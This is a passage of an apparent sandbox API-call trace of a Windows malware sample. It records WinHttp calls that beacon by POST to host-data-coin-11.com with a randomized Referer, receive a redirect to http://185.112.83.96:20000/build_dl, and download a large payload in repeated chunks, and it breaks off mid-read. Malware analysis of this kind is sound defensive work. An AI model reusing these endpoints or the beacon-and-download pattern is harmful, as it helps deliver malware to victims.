(pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x8658060 [0180.562] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x1004fcd0 | out: lpUrlComponents=0x1004fcd0) returned 1 [0180.562] WinHttpConnect (hSession=0x8658060, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86a9880 [0180.562] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9141c40 [0180.563] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x68) returned 0x9141c60 [0180.563] WinHttpOpenRequest (hConnect=0x86a9880, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x57aa80 [0180.563] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x4e) returned 0x9141cd0 [0180.563] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10d) returned 0x9141d30 [0180.563] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd25fd10a [0180.563] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9141e50 [0180.563] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x17) returned 0x9141e70 [0180.563] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5a3d906b [0180.563] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb22c9b0d [0180.563] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xddf58d61 [0180.563] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1c447da5 [0180.563] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x288cba78 [0180.563] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x92a2f972 [0180.563] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd6647097 [0180.563] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x51b9d6c5 [0180.563] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1570625f [0180.563] wsprintfW (in: param_1=0x9141d30, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://aylqbwmb.net/") returned 42 [0180.563] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141e70) returned 0x17 [0180.563] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141e70) returned 1 [0180.563] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141e50) returned 0x12 [0180.563] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141e50) returned 1 [0180.563] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141cd0) returned 0x4e [0180.564] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141cd0) returned 1 [0180.564] WinHttpAddRequestHeaders (hRequest=0x57aa80, pwszHeaders="Accept: */*\r\nReferer: http://aylqbwmb.net/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0180.564] WinHttpSendRequest (hRequest=0x57aa80, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x91419d0*, dwOptionalLength=0x13c, dwTotalLength=0x13c, dwContext=0x0) returned 1 [0181.276] WinHttpReceiveResponse (hRequest=0x57aa80, lpReserved=0x0) returned 1 [0181.276] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x2800) returned 0x9141e50 [0181.276] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9141e50, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9141e50*, lpdwNumberOfBytesRead=0x1004fd88*=0x2f) returned 1 [0181.277] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9141e50, Size=0x5000) returned 0x9141e50 [0181.278] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9141e7f, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9141e7f*, lpdwNumberOfBytesRead=0x1004fd88*=0x0) returned 1 [0181.278] VirtualAlloc (lpAddress=0x0, dwSize=0x2f, flAllocationType=0x3000, flProtect=0x4) returned 0x460000 [0181.280] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141e50) returned 1 [0181.280] WinHttpCloseHandle (hInternet=0x57aa80) returned 1 [0181.280] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141d30) returned 0x10d [0181.280] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141d30) returned 1 [0181.280] WinHttpCloseHandle (hInternet=0x86a9880) returned 1 [0181.280] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141c60) returned 0x68 [0181.281] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141c60) returned 1 [0181.281] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141c40) returned 0x12 [0181.281] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141c40) returned 1 [0181.281] WinHttpCloseHandle (hInternet=0x8658060) returned 1 [0181.281] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141b20) returned 0x10c [0181.281] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141b20) returned 1 [0181.282] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91418d0) returned 0xf6 [0181.282] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91418d0) returned 1 [0181.282] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91419d0) returned 0x145 [0181.282] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91419d0) returned 1 [0181.312] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x1008) returned 0x91418d0 [0181.312] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x1008) returned 0x91428e0 [0181.312] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x13) returned 0x91438f0 [0181.312] lstrlenA (lpString="Location: http://185.112.83.96:20000/build_dl") returned 45 [0181.312] lstrlenA (lpString="Location:") returned 9 [0181.312] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x39) returned 0x9143910 [0181.312] wsprintfA (in: param_1=0x9143910, param_2="%s" | out: param_1="http://185.112.83.96:20000/build_dl") returned 35 [0181.312] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10c) returned 0x9143960 [0181.312] lstrlenA (lpString="http://185.112.83.96:20000/build_dl") returned 35 [0181.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9143910, cbMultiByte=36, lpWideCharStr=0x9143960, cchWideChar=72 | out: lpWideCharStr="http://185.112.83.96:20000/build_dl") returned 36 [0181.312] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1004fb48 | out: pProxyConfig=0x1004fb48) returned 1 [0181.318] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x86599e0 [0181.318] WinHttpCrackUrl (in: pwszUrl="http://185.112.83.96:20000/build_dl", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x1004fc00 | out: lpUrlComponents=0x1004fc00) returned 1 [0181.319] WinHttpConnect (hSession=0x86599e0, pswzServerName="185.112.83.96", nServerPort=0x4e20, dwReserved=0x0) returned 0x86aa820 [0181.319] WinHttpOpenRequest (hConnect=0x86aa820, pwszVerb=0x0, pwszObjectName="/build_dl", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x56bee0 [0181.319] WinHttpSendRequest (hRequest=0x56bee0, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0, dwTotalLength=0x0, dwContext=0x0) returned 1 [0181.774] WinHttpReceiveResponse (hRequest=0x56bee0, lpReserved=0x0) returned 1 [0181.774] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x2800) returned 0x9143a80 [0181.774] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9143a80, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9143a80*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.776] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9143a80, Size=0x5000) returned 0x9143a80 [0181.776] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9146280, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9146280*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.806] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9143a80, Size=0x7800) returned 0x9143a80 [0181.806] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9148a80, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9148a80*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.807] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9143a80, Size=0xa000) returned 0x7c60080 [0181.810] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c67880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c67880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.810] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0xc800) returned 0x7c6a090 [0181.812] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c74090, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c74090*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.812] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c6a090, Size=0xf000) returned 0x7c768a0 [0181.814] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c830a0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c830a0*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.814] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c768a0, Size=0x11800) returned 0x7c768a0 [0181.814] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c858a0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c858a0*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.815] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c768a0, Size=0x14000) returned 0x7c60080 [0181.815] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c71880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c71880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.815] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x16800) returned 0x7c60080 [0181.815] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c74080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c74080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.815] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x19000) returned 0x7c60080 [0181.815] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c76880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c76880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.816] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x1b800) returned 0x7c60080 [0181.816] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c79080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c79080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.897] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x1e000) returned 0x7c60080 [0181.897] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c7b880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c7b880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.957] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x20800) returned 0x7c60080 [0181.957] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c7e080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c7e080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.958] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x23000) returned 0x7c60080 [0181.958] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c80880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c80880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.959] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x25800) returned 0x7c60080 [0181.959] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c83080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c83080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.959] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x28000) returned 0x7c60080 [0181.959] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c85880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c85880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.960] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x2a800) returned 0x7c88090 [0181.965] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cb0090, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cb0090*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.966] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c88090, Size=0x2d000) returned 0x7cb28a0 [0181.971] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cdd0a0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cdd0a0*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.972] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7cb28a0, Size=0x2f800) returned 0x7c60080 [0181.972] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c8d080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c8d080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.972] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x32000) returned 0x7c60080 [0181.972] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c8f880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c8f880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.973] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x34800) returned 0x7c60080 [0181.973] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c92080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c92080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.974] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x37000) returned 0x7c60080 [0181.974] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c94880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c94880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.974] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x39800) returned 0x7c60080 [0181.974] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c97080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c97080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.975] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x3c000) returned 0x7c60080 [0181.975] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c99880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c99880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.976] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x3e800) returned 0x7c60080 [0181.976] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c9c080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c9c080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0181.976] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x41000) returned 0x7c60080 [0181.976] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7c9e880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7c9e880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.134] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x43800) returned 0x7c60080 [0182.134] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7ca1080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7ca1080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.135] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x46000) returned 0x7c60080 [0182.135] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7ca3880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7ca3880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.135] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x48800) returned 0x7c60080 [0182.135] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7ca6080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7ca6080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.135] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x4b000) returned 0x7c60080 [0182.135] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7ca8880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7ca8880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.136] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x4d800) returned 0x7c60080 [0182.136] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cab080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cab080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.136] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x50000) returned 0x7c60080 [0182.136] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cad880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cad880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.137] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x52800) returned 0x7c60080 [0182.137] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cb0080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cb0080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.138] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x55000) returned 0x7c60080 [0182.138] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cb2880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cb2880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.138] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x57800) returned 0x7c60080 [0182.138] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cb5080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cb5080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.139] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x5a000) returned 0x7c60080 [0182.139] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cb7880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cb7880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.139] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x5c800) returned 0x7c60080 [0182.139] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cba080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cba080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.141] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x5f000) returned 0x7c60080 [0182.141] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cbc880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cbc880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.141] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x61800) returned 0x7c60080 [0182.141] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cbf080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cbf080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.142] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x64000) returned 0x7c60080 [0182.142] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cc1880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cc1880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.143] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x66800) returned 0x7c60080 [0182.143] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cc4080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cc4080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.143] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x69000) returned 0x7c60080 [0182.143] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cc6880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cc6880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.143] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x6b800) returned 0x7c60080 [0182.143] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cc9080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cc9080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.144] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x6e000) returned 0x7c60080 [0182.144] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7ccb880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7ccb880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.144] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x70800) returned 0x7c60080 [0182.144] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cce080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cce080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.145] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x73000) returned 0x7c60080 [0182.145] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cd0880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cd0880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.145] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x75800) returned 0x7c60080 [0182.145] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cd3080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cd3080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.145] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x78000) returned 0x7c60080 [0182.145] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cd5880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cd5880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.146] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x7a800) returned 0x7c60080 [0182.146] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cd8080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cd8080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.146] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x7d000) returned 0x7c60080 [0182.146] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cda880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cda880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.147] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x7f800) returned 0x7c60080 [0182.147] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x7cdd080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x7cdd080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) 